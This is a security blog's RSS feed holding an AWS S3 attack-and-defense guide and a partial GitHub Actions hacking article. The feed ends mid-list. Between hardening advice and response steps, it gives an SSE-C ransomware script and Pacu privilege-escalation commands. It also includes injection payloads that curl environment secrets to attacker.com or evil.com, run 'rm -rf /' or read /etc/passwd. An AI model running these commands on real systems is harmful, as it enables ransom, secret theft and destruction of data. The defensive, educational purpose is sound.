<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Vinay Varma's Blog]]></title><description><![CDATA[Infosec Professional skilled in Penetration Testing and Offensive Security Engineering]]></description><link>https://blog.hackncode.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1736871085231/524f0b21-345b-4110-b080-936749935567.avif</url><title>Vinay Varma&apos;s Blog</title><link>https://blog.hackncode.com</link></image><generator>RSS for Node</generator><lastBuildDate>Sat, 18 Apr 2026 10:42:16 GMT</lastBuildDate><atom:link href="https://blog.hackncode.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[AWS S3 Security Field Guide]]></title><description><![CDATA[Let's talk about something that keeps me up at night: AWS S3 buckets. If you're in security, you know these things are everywhere. They're storing everything from startup MVPs to Fortune 500’s most valuable data. And they're getting hammered by threa...]]></description><link>https://blog.hackncode.com/s3-security</link><guid isPermaLink="true">https://blog.hackncode.com/s3-security</guid><category><![CDATA[AWS]]></category><category><![CDATA[S3]]></category><category><![CDATA[S3-bucket]]></category><category><![CDATA[offensive-security]]></category><category><![CDATA[Security]]></category><category><![CDATA[cloud security]]></category><dc:creator><![CDATA[Vinay Varma]]></dc:creator><pubDate>Fri, 05 Sep 2025 14:00:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756941028987/7d3e4d98-b9ea-4b34-ad62-d6733810391d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Let's talk about something that keeps me up at night: AWS S3 buckets. If you're in security, you know these things are everywhere. They're storing everything from startup MVPs to Fortune 500’s most valuable data. And they're getting hammered by threat actors in ways we didn't see coming even six months ago.</p>
<p>I've been pentesting AWS environments for years, and the game has completely changed. We're not just dealing with public buckets anymore (though those are still embarrassingly common). The latest attacks, like the Codefinger ransomware campaign, are using AWS's own Server-Side Encryption with Customer Provided Keys (SSE-C) to lock companies out of their own data. No vulnerability exploitation needed just stolen credentials and AWS's own features turned into attack vectors.</p>
<p>This guide walks through both sides of the battlefield. I'll show you exactly how attackers are breaking in (with the actual commands and tools), and then flip the script to show you how to lock things down properly. This is what's happening right now in the wild.</p>
<h2 id="heading-part-1-the-attack-side-how-s3-buckets-get-owned">Part 1: The Attack Side - How S3 Buckets Get Owned</h2>
<h3 id="heading-the-new-ransomware-playbook">The New Ransomware Playbook</h3>
<p>Let's start with the scariest development of 2025. The Codefinger group discovered they could use SSE-C to encrypt S3 data with their own AES-256 keys, and AWS only logs an HMAC of the key not the key itself. Once they encrypt your data, it's gone. There's literally no recovery without paying the ransom.</p>
<p>Here's how the attack actually works:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Step 1: Attacker gets your AWS keys (phishing, exposed in code, etc.)</span>
<span class="hljs-comment"># Step 2: They enumerate your buckets</span>
aws s3 ls --profile stolen-creds

<span class="hljs-comment"># Step 3: Download and re-encrypt each file with their key</span>
<span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> $(aws s3 ls s3://victim-bucket --recursive | awk <span class="hljs-string">'{print $4}'</span>); <span class="hljs-keyword">do</span>
    <span class="hljs-comment"># Download the file</span>
    aws s3 cp s3://victim-bucket/<span class="hljs-variable">$file</span> /tmp/temp-file

<span class="hljs-comment"># Re-upload with attacker's encryption key</span>
    aws s3 cp /tmp/temp-file s3://victim-bucket/<span class="hljs-variable">$file</span> \
        --sse-c AES256 \
        --sse-c-key [32-byte-key-attacker-controls]
<span class="hljs-keyword">done</span>

<span class="hljs-comment"># Step 4: Set lifecycle policy to delete in 7 days</span>
aws s3api put-bucket-lifecycle-configuration --bucket victim-bucket \
    --lifecycle-configuration file://delete-in-7-days.json

<span class="hljs-comment"># Step 5: Drop the ransom note</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Pay 10 BTC to wallet xyz or lose your data forever"</span> &gt; RANSOM.txt
aws s3 cp RANSOM.txt s3://victim-bucket/
</code></pre>
<p>What makes this particularly nasty is that no data leaves AWS. Traditional DLP tools see nothing suspicious it's all legitimate AWS API calls within your own environment.</p>
<h3 id="heading-modern-bucket-hunting-techniques">Modern Bucket Hunting Techniques</h3>
<p>Forget the old "try random bucket names" approach. Modern attackers are way more sophisticated:</p>
<h4 id="heading-dns-based-enumeration-the-stealthy-approach">DNS-Based Enumeration (The Stealthy Approach)</h4>
<p><a target="_blank" href="https://github.com/koenrh/s3enum">s3enum Tool</a></p>
<pre><code class="lang-bash"><span class="hljs-comment"># Using s3enum - doesn't hit AWS APIs directly</span>
<span class="hljs-comment"># Generate permutations and check via DNS</span>
./s3enum -wordlist company-terms.txt -suffixlist common-suffixes.txt targetcorp
<span class="hljs-comment"># This checks: targetcorp-dev, targetcorp-prod, targetcorp-backup, etc.</span>
<span class="hljs-comment"># All through DNS lookups, not AWS API calls</span>
</code></pre>
<h4 id="heading-certificate-transparency-logs">Certificate Transparency Logs</h4>
<p>Smart attackers are using CT logs to find S3 buckets:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Query crt.sh for subdomains</span>
curl -s <span class="hljs-string">"https://crt.sh/?q=%25.targetcorp.com&amp;output=json"</span> | \
    jq -r <span class="hljs-string">'.[].name_value'</span> | \
    grep -E <span class="hljs-string">"s3|bucket|storage"</span> | \
    sort -u
</code></pre>
<h4 id="heading-github-goldmine">GitHub Goldmine</h4>
<pre><code class="lang-bash"><span class="hljs-comment"># Search for exposed bucket names in code</span>
github-dorks -d github.com -t [token] \
    -q <span class="hljs-string">"s3.amazonaws.com extension:yml targetcorp"</span>
<span class="hljs-comment"># Common patterns that leak bucket names:</span>
<span class="hljs-comment"># - Terraform files</span>
<span class="hljs-comment"># - Docker configs  </span>
<span class="hljs-comment"># - CI/CD pipelines</span>
<span class="hljs-comment"># - JavaScript source maps</span>
</code></pre>
<h3 id="heading-privilege-escalation-with-pacu">Privilege Escalation with Pacu</h3>
<p><a target="_blank" href="https://github.com/RhinoSecurityLabs/pacu">Pacu</a> is basically the Metasploit of AWS it's an exploitation framework designed for post-compromise attacks. Here's a real attack chain I've used in authorized tests:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Install Pacu</span>
pipx install git+https://github.com/RhinoSecurityLabs/pacu.git

<span class="hljs-comment"># Start a new session</span>
pacu
&gt; create mybreach

<span class="hljs-comment"># Import compromised keys</span>
&gt; set_keys
Key <span class="hljs-built_in">alias</span>: pwned-dev
Access key ID: AKIA[...]
Secret key: [...]

<span class="hljs-comment"># Phase 1: Enumerate everything</span>
&gt; run iam__enum_permissions --all-users
&gt; run aws__enum_account
&gt; run s3__enum

<span class="hljs-comment"># Phase 2: Look for escalation paths</span>
&gt; run iam__privesc_scan

<span class="hljs-comment"># Example output might show:</span>
<span class="hljs-comment"># User 'dev-deploy' can assume role 'ProductionAdmin'</span>
<span class="hljs-comment"># User 'ci-bot' has iam:CreatePolicyVersion permission</span>

<span class="hljs-comment"># Phase 3: Exploit the escalation</span>
&gt; run iam__privesc_through_create_policy_version \
    --policy-arn arn:aws:iam::123456789:policy/dev-policy
</code></pre>
<p>Pacu can test S3 bucket configurations, establish Lambda backdoors, compromise EC2 instances, and even disrupt CloudTrail and GuardDuty monitoring.</p>
<h3 id="heading-the-supply-chain-attack-vector">The Supply Chain Attack Vector</h3>
<p>Here's something that doesn't get enough attention. Abandoned S3 buckets are a massive problem. I've seen this pattern repeatedly:</p>
<ol>
<li><p>Company creates <code>updates.mycompany.com</code> S3 bucket</p>
</li>
<li><p>Hardcodes the URL in their app/documentation</p>
</li>
<li><p>Later migrates away and deletes the bucket</p>
</li>
<li><p>Attacker claims the bucket name (they're globally unique)</p>
</li>
<li><p>Now the attacker controls a trusted endpoint</p>
</li>
</ol>
<p>Real example: An enterprise VPN solution was fetching config from a deleted S3 bucket. An attacker could have owned the entire corporate network just by creating that bucket and serving malicious configs.</p>
<h2 id="heading-part-2-the-defense-side-locking-down-your-s3">Part 2: The Defense Side - Locking Down Your S3</h2>
<h3 id="heading-priority-1-block-the-sse-c-ransomware-attack">Priority 1: Block the SSE-C Ransomware Attack</h3>
<p>AWS now recommends blocking SSE-C entirely if you don't use it, either through bucket policies or Resource Control Policies (RCPs) at the organization level.</p>
<p>Here's the bucket policy that stops it cold:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
  <span class="hljs-attr">"Statement"</span>: [
    {
      <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"DenySSECUploads"</span>,
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Deny"</span>,
      <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
      <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:PutObject"</span>,
      <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::your-bucket/*"</span>,
      <span class="hljs-attr">"Condition"</span>: {
        <span class="hljs-attr">"StringEquals"</span>: {
          <span class="hljs-attr">"s3:x-amz-server-side-encryption-customer-algorithm"</span>: <span class="hljs-string">"AES256"</span>
        }
      }
    }
  ]
}
</code></pre>
<p>For organization-wide protection, use an RCP:</p>
<pre><code class="lang-bash">aws organizations put-resource-policy \
  --content <span class="hljs-string">'{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Deny",
      "Action": "s3:PutObject",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "s3:x-amz-server-side-encryption-customer-algorithm": "AES256"
        }
      }
    }]
  }'</span>
</code></pre>
<h3 id="heading-priority-2-detection-and-response-automation">Priority 2: Detection and Response Automation</h3>
<p>GuardDuty with S3 Protection and Extended Threat Detection can now detect potential ransomware attempts using SSE-C. But you need to act on those alerts immediately.</p>
<p>Here's a Lambda function that auto-responds to suspicious S3 activity:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> boto3
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lambda_handler</span>(<span class="hljs-params">event, context</span>):</span>
    <span class="hljs-comment"># Parse GuardDuty finding</span>
    finding = json.loads(event[<span class="hljs-string">'Records'</span>][<span class="hljs-number">0</span>][<span class="hljs-string">'Sns'</span>][<span class="hljs-string">'Message'</span>])

    <span class="hljs-keyword">if</span> <span class="hljs-string">'S3'</span> <span class="hljs-keyword">in</span> finding[<span class="hljs-string">'Resource'</span>][<span class="hljs-string">'Type'</span>]:
        bucket_name = finding[<span class="hljs-string">'Resource'</span>][<span class="hljs-string">'S3BucketDetails'</span>][<span class="hljs-number">0</span>][<span class="hljs-string">'Name'</span>]

        <span class="hljs-comment"># Immediate containment</span>
        s3 = boto3.client(<span class="hljs-string">'s3'</span>)

        <span class="hljs-comment"># 1. Block all public access</span>
        s3.put_public_access_block(
            Bucket=bucket_name,
            PublicAccessBlockConfiguration={
                <span class="hljs-string">'BlockPublicAcls'</span>: <span class="hljs-literal">True</span>,
                <span class="hljs-string">'IgnorePublicAcls'</span>: <span class="hljs-literal">True</span>,
                <span class="hljs-string">'BlockPublicPolicy'</span>: <span class="hljs-literal">True</span>,
                <span class="hljs-string">'RestrictPublicBuckets'</span>: <span class="hljs-literal">True</span>
            }
        )

        <span class="hljs-comment"># 2. Enable versioning (if not already)</span>
        s3.put_bucket_versioning(
            Bucket=bucket_name,
            VersioningConfiguration={<span class="hljs-string">'Status'</span>: <span class="hljs-string">'Enabled'</span>}
        )

        <span class="hljs-comment"># 3. Create a snapshot tag for incident response</span>
        s3.put_bucket_tagging(
            Bucket=bucket_name,
            Tagging={
                <span class="hljs-string">'TagSet'</span>: [
                    {<span class="hljs-string">'Key'</span>: <span class="hljs-string">'IncidentResponse'</span>, <span class="hljs-string">'Value'</span>: <span class="hljs-string">'Active'</span>},
                    {<span class="hljs-string">'Key'</span>: <span class="hljs-string">'Timestamp'</span>, <span class="hljs-string">'Value'</span>: datetime.utcnow().isoformat()}
                ]
            }
        )

        <span class="hljs-comment"># 4. Notify security team</span>
        sns = boto3.client(<span class="hljs-string">'sns'</span>)
        sns.publish(
            TopicArn=<span class="hljs-string">'arn:aws:sns:us-east-1:123456789:security-alerts'</span>,
            Subject=<span class="hljs-string">f'CRITICAL: S3 Bucket <span class="hljs-subst">{bucket_name}</span> Under Attack'</span>,
            Message=json.dumps(finding, indent=<span class="hljs-number">2</span>)
        )

    <span class="hljs-keyword">return</span> {<span class="hljs-string">'statusCode'</span>: <span class="hljs-number">200</span>}
</code></pre>
<h3 id="heading-priority-3-preventive-controls-that-actually-work">Priority 3: Preventive Controls That Actually Work</h3>
<h4 id="heading-the-complete-s3-hardening-checklist">The Complete S3 Hardening Checklist</h4>
<pre><code class="lang-bash"><span class="hljs-comment"># 1. Account-level Block Public Access (non-negotiable)</span>
aws s3control put-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --public-access-block-configuration \
    BlockPublicAcls=<span class="hljs-literal">true</span>,IgnorePublicAcls=<span class="hljs-literal">true</span>,BlockPublicPolicy=<span class="hljs-literal">true</span>,RestrictPublicBuckets=<span class="hljs-literal">true</span>

<span class="hljs-comment"># 2. Enable default encryption with KMS (not just AES256)</span>
aws s3api put-bucket-encryption --bucket critical-data \
  --server-side-encryption-configuration <span class="hljs-string">'{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "aws:kms",
        "KMSMasterKeyID": "arn:aws:kms:us-east-1:123456789:key/abc-123"
      }
    }]
  }'</span>

<span class="hljs-comment"># 3. Enable versioning with MFA delete</span>
aws s3api put-bucket-versioning --bucket critical-data \
  --versioning-configuration Status=Enabled,MFADelete=Enabled \
  --mfa <span class="hljs-string">"arn:aws:iam::123456789:mfa/root-user 123456"</span>

<span class="hljs-comment"># 4. Configure Object Lock for immutability</span>
aws s3api put-object-lock-configuration --bucket critical-data \
  --object-lock-configuration <span class="hljs-string">'{
    "ObjectLockEnabled": "Enabled",
    "Rule": {
      "DefaultRetention": {
        "Mode": "GOVERNANCE",
        "Days": 30
      }
    }
  }'</span>

<span class="hljs-comment"># 5. Enable CloudTrail data events (catches the attacks)</span>
aws cloudtrail put-event-selectors --trail-name security-trail \
  --event-selectors <span class="hljs-string">'[{
    "ReadWriteType": "All",
    "IncludeManagementEvents": true,
    "DataResources": [{
      "Type": "AWS::S3::Object",
      "Values": ["arn:aws:s3:::*/*"]
    }]
  }]'</span>
</code></pre>
<h4 id="heading-the-vpc-endpoint-lock-my-personal-favorite">The VPC Endpoint Lock (My Personal Favorite)</h4>
<p>This completely prevents internet access to your S3 buckets, even with valid credentials:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
  <span class="hljs-attr">"Statement"</span>: [
    {
      <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"DenyAllExceptVPCEndpoint"</span>,
      <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Deny"</span>,
      <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
      <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:*"</span>,
      <span class="hljs-attr">"Resource"</span>: [
        <span class="hljs-string">"arn:aws:s3:::sensitive-data"</span>,
        <span class="hljs-string">"arn:aws:s3:::sensitive-data/*"</span>
      ],
      <span class="hljs-attr">"Condition"</span>: {
        <span class="hljs-attr">"StringNotEquals"</span>: {
          <span class="hljs-attr">"aws:SourceVpce"</span>: <span class="hljs-string">"vpce-1234567890abcdef0"</span>
        }
      }
    }
  ]
}
</code></pre>
<h3 id="heading-priority-4-continuous-security-assessment">Priority 4: Continuous Security Assessment</h3>
<p>Tools like <a target="_blank" href="https://github.com/prowler-cloud/prowler">Prowler</a> and <a target="_blank" href="https://github.com/nccgroup/ScoutSuite">ScoutSuite</a> provide continuous compliance monitoring, but you need to customize them for your environment:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Prowler for automated compliance checks</span>
./prowler aws -g s3 -f us-east-1 --output-formats html json

<span class="hljs-comment"># Custom Prowler check for SSE-C usage</span>
cat &lt;&lt; <span class="hljs-string">'EOF'</span> &gt; checks/custom/check_sse_c_usage.sh
<span class="hljs-comment">#!/bin/bash</span>
<span class="hljs-keyword">for</span> bucket <span class="hljs-keyword">in</span> $(aws s3api list-buckets --query <span class="hljs-string">'Buckets[].Name'</span> --output text); <span class="hljs-keyword">do</span>
  objects=$(aws s3api list-objects-v2 --bucket <span class="hljs-variable">$bucket</span> \
    --query <span class="hljs-string">'Contents[?ServerSideEncryption==`aws:kms:sse-c`].Key'</span> \
    --output text 2&gt;/dev/null)

  <span class="hljs-keyword">if</span> [ ! -z <span class="hljs-string">"<span class="hljs-variable">$objects</span>"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"WARNING: Bucket <span class="hljs-variable">$bucket</span> contains SSE-C encrypted objects"</span>
  <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
EOF
</code></pre>
<h2 id="heading-part-3-when-things-go-wrong-incident-response">Part 3: When Things Go Wrong - Incident Response</h2>
<p>If you suspect a Codefinger style attack, here's your immediate response playbook:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># 1. Check for SSE-C usage in CloudTrail</span>
aws logs filter-log-events \
  --log-group-name /aws/cloudtrail/security \
  --filter-pattern <span class="hljs-string">'{ $.requestParameters.x-amz-server-side-encryption-customer-algorithm = * }'</span> \
  --start-time $(date -u -d <span class="hljs-string">'7 days ago'</span> +%s)000

<span class="hljs-comment"># 2. Look for mass PutObject operations</span>
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=PutObject \
  --max-results 50 | \
  jq <span class="hljs-string">'.Events | group_by(.Username) | map({user: .[0].Username, count: length})'</span>

<span class="hljs-comment"># 3. Check for lifecycle policy changes</span>
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=PutBucketLifecycleConfiguration

<span class="hljs-comment"># 4. If ransomware is confirmed, immediately:</span>
<span class="hljs-comment"># - Revoke the compromised credentials</span>
<span class="hljs-comment"># - Enable MFA on all accounts</span>
<span class="hljs-comment"># - Restore from backups (you have backups, right?)</span>
<span class="hljs-comment"># - Contact AWS Support (they've seen this before)Reality</span>
</code></pre>
<p>Here's what nobody wants to admit, most S3 breaches happen because of silly mistakes. Not sophisticated zero-days. Not nation-state actors. Just developers who:</p>
<ul>
<li><p>Commit AWS keys to GitHub</p>
</li>
<li><p>Copy/paste overly permissive IAM policies</p>
</li>
<li><p>Forget to turn on Block Public Access</p>
</li>
<li><p>Never rotate credentials</p>
</li>
<li><p>Store backups in the same account with the same permissions</p>
</li>
</ul>
<p>The tools and techniques I've shown you are powerful, but they're not magic. The real problem, as security researcher Johannes Ullrich points out, is that "the AWS customer leaked access credentials". Fix the basics first.</p>
<h2 id="heading-tldr">TL;DR</h2>
<p>The S3 threat landscape has evolved dramatically. We've gone from worrying about public buckets to dealing with ransomware that uses AWS's own encryption against us. The threat actors are getting more creative, but so are the defenses.</p>
<p>My advice? Assume breach. Build your S3 security like someone already has your credentials (because they might). Use defense in depth bucket policies, VPC endpoints, encryption, versioning, monitoring, and automated response. Make it so that even with valid credentials, an attacker can't do much damage.</p>
<p>And please, for the love of all that is holy, stop putting AWS keys in your code. Use IAM roles. Use instance profiles. Use anything except long-lived credentials sitting in plaintext.</p>
<p>Stay paranoid, stay patched, and keep those buckets locked down.</p>
<h2 id="heading-references">References</h2>
<ul>
<li><p><a target="_blank" href="https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.html">HackTricks: AWS Privilege Escalation on S3</a></p>
</li>
<li><p><a target="_blank" href="https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html">HackTricks: S3 Unauthenticated Enumeration</a></p>
</li>
<li><p><a target="_blank" href="https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/">RhinoSecurityLabs on S3 Ransomware Attack Vector</a></p>
</li>
<li><p><a target="_blank" href="https://aws.amazon.com/blogs/security/">AWS Security Blog</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html">AWS Documentation: S3 Block Public Access</a></p>
</li>
</ul>
<h3 id="heading-tools-used">Tools Used</h3>
<ul>
<li><p><a target="_blank" href="https://github.com/RhinoSecurityLabs/pacu">Pacu - AWS Exploitation Framework</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/sa7mon/S3Scanner">S3Scanner</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/koenrh/s3enum">s3enum - DNS-based S3 Bucket Enumeration</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/prowler-cloud/prowler">Prowler - AWS Security Assessment Tool</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/nccgroup/ScoutSuite">ScoutSuite - Multi-Cloud Security Auditing</a></p>
</li>
</ul>
<h3 id="heading-aws-security-documentation">AWS Security Documentation</h3>
<ul>
<li><p><a target="_blank" href="https://aws.amazon.com/security/protecting-against-ransomware/">AWS Blueprint for Ransomware Defense</a></p>
</li>
<li><p><a target="_blank" href="https://aws.amazon.com/blogs/security/preventing-unintended-encryption-of-amazon-s3-objects/">Preventing Unintended Encryption of S3 Objects</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html">AWS CloudTrail Best Practices</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/guardduty/latest/ug/s3-protection.html">Amazon GuardDuty S3 Protection</a></p>
</li>
</ul>
<h3 id="heading-recent-security-advisories">Recent Security Advisories</h3>
<ul>
<li><p><a target="_blank" href="https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c">Halcyon: Codefinger Ransomware Analysis</a></p>
</li>
<li><p><a target="_blank" href="https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-006">CSA Advisory on S3 Ransomware Campaign</a></p>
</li>
<li><p><a target="_blank" href="https://arcticwolf.com/resources/blog/ransomware-campaign-encrypting-amazon-s3-buckets-using-sse-c/">Arctic Wolf: SSE-C Ransomware Campaign</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[GitHub Theft Actions]]></title><description><![CDATA[Hacking GitHub Actions:
Look, if you're still treating GitHub Actions like some harmless CI/CD tool, you're about to have a bad time. March 2025 showed us what happens when attackers get creative - the tj-actions/changed-files compromise hit over 23,...]]></description><link>https://blog.hackncode.com/github-theft-actions</link><guid isPermaLink="true">https://blog.hackncode.com/github-theft-actions</guid><category><![CDATA[GitHub]]></category><category><![CDATA[GitHub Actions]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[hacking]]></category><category><![CDATA[software development]]></category><category><![CDATA[software security]]></category><category><![CDATA[DevSecOps]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Vinay Varma]]></dc:creator><pubDate>Fri, 15 Aug 2025 05:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756919798196/353358f6-3d6a-4ad3-88cb-be803bdba27f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-hacking-github-actions">Hacking GitHub Actions:</h2>
<p>Look, if you're still treating GitHub Actions like some harmless CI/CD tool, you're about to have a bad time. March 2025 showed us what happens when attackers get creative - the tj-actions/changed-files compromise hit over 23,000 repositories in one shot. Not through some zero-day exploit. Not through sophisticated cryptography breaking. Just good old-fashioned trust abuse and some clever git tag manipulation.</p>
<p><a target="_blank" href="https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/"><img src="https://ppl-ai-code-interpreter-files.s3.amazonaws.com/web/direct-files/95800ec1176b76ce4868501a3414bdac/efca6505-3d20-4379-ad5c-2d41d8ce1439/ec499cbe.png" alt="Common GitHub Actions Security Vulnerabilities by Prevalence and Severity" class="image--center mx-auto" /></a></p>
<p>Let's cut through the BS and talk about what's actually happening in the wild and how to test for it.</p>
<h2 id="heading-the-attack-surface-nobodys-watching">The Attack Surface Nobody's Watching</h2>
<p>Here's the thing about GitHub Actions, it's not just running your tests anymore. It's got access to your secrets, can push code to your repo, deploy to production, and if you're using self-hosted runners, it's sitting inside your network. That's a lot of trust for YAML files that most devs copy/paste from Stack Overflow.</p>
<p>The basic components you need to understand:</p>
<ul>
<li><p><strong>Workflows</strong>: Those <code>.github/workflows/*.yml</code> files that define everything</p>
</li>
<li><p><strong>Triggers</strong>: What kicks off a workflow (push, pull_request, issue_comment, etc.)</p>
</li>
<li><p><strong>Runners</strong>: Where the code actually executes (GitHub-hosted or self-hosted)</p>
</li>
<li><p><strong>Secrets &amp; Tokens</strong>: The keys to the kingdom</p>
</li>
</ul>
<p>Each of these is an attack vector. Let me show you how.</p>
<h2 id="heading-command-injection-the-gift-that-keeps-on-giving">Command Injection: The Gift That Keeps on Giving</h2>
<p>This is the low-hanging fruit, but it's everywhere. GitHub Actions uses <code>${{...}}</code> for expressions, and here's the kicker - it's not variable expansion, it's literal string substitution before the shell even sees it.</p>
<p>Take this workflow that looks innocent enough:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Greet</span> <span class="hljs-string">on</span> <span class="hljs-string">New</span> <span class="hljs-string">Issue</span>
<span class="hljs-attr">on:</span>
  <span class="hljs-attr">issues:</span>
    <span class="hljs-attr">types:</span> [<span class="hljs-string">opened</span>]
<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">greet:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Greet</span> <span class="hljs-string">User</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">echo</span> <span class="hljs-string">"Processing new issue: $<span class="hljs-template-variable">{{ github.event.issue.title }}</span>"</span>
</code></pre>
<p>Now watch what happens when I create an issue with this title:</p>
<pre><code class="lang-bash">Welcome!<span class="hljs-string">"; curl http://attacker.com/leak?data=<span class="hljs-subst">$(env | base64 -w0)</span>; echo "</span>Done
</code></pre>
<p>The runner executes:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"Processing new issue: Welcome!"</span>; curl http://attacker.com/leak?data=$(env | base64 -w0); <span class="hljs-built_in">echo</span> <span class="hljs-string">"Done"</span>
</code></pre>
<p>Boom. All your environment variables just got exfiltrated. Including secrets.</p>
<h3 id="heading-reference-for-injectable-inputs">Reference for Injectable Inputs</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Input</td><td>Where It Comes From</td><td>Example Payload</td></tr>
</thead>
<tbody>
<tr>
<td><code>github.event.issue.title</code></td><td>Issue titles</td><td><code>"; ls -la; #</code></td></tr>
<tr>
<td><code>github.event.comment.body</code></td><td>Comments on issues/PRs</td><td><code>"; curl</code> <a target="_blank" href="http://evil.com/$\(whoami\)"><code>evil.com/$(whoami)</code></a><code>; #</code></td></tr>
<tr>
<td><code>github.event.pull_request.head.ref</code></td><td>Branch names</td><td><code>main"; rm -rf /; #</code></td></tr>
<tr>
<td><code>github.event.pull_request.title</code></td><td>PR titles</td><td><code>Fix"; cat /etc/passwd &gt;&amp;2; #</code></td></tr>
</tbody>
</table>
</div><h2 id="heading-the-pullrequesttarget-foot-gun">The pull_request_target Foot gun</h2>
<p>This one's brutal. The <code>pull_request_target</code> trigger was designed to let workflows comment on PRs from forks. The problem? It runs in the context of the base branch with full permissions, but can be tricked into running code from the PR.</p>
<p>Here's the vulnerable pattern everyone keeps using:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">on:</span>
  <span class="hljs-attr">pull_request_target:</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">test:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">ref:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.event.pull_request.head.ref</span> <span class="hljs-string">}}</span>  <span class="hljs-comment"># &lt;- THE MISTAKE</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
</code></pre>
<p>The attack:</p>
<ol>
<li><p>Fork the repo</p>
</li>
<li><p>Add malicious code to <code>package.json</code> or test files</p>
</li>
<li><p>Submit a PR</p>
</li>
<li><p>Your malicious code runs with full repo permissions</p>
</li>
</ol>
<p>This exact pattern compromised repositories from MITRE, Splunk, and Spotify's API library. It's everywhere.</p>
<h2 id="heading-self-hosted-runners">Self-Hosted Runners: 💣</h2>
<p>GitHub-hosted runners are ephemeral.<br />These runners are temporary and short-lived; they spin up to execute a job and then disappear once the job is completed. This is in contrast to self-hosted runners, which are persistent and remain active on the network.</p>
<p>They spin up, run your job, disappear. Self-hosted runners? They're persistent. They're on your network. They're probably running as a service account with way too many permissions.</p>
<p>The attack path is straightforward:</p>
<ol>
<li><p>Find a public repo using self-hosted runners (look for <code>runs-on: self-hosted</code>)</p>
</li>
<li><p>Fork it and create a malicious workflow</p>
</li>
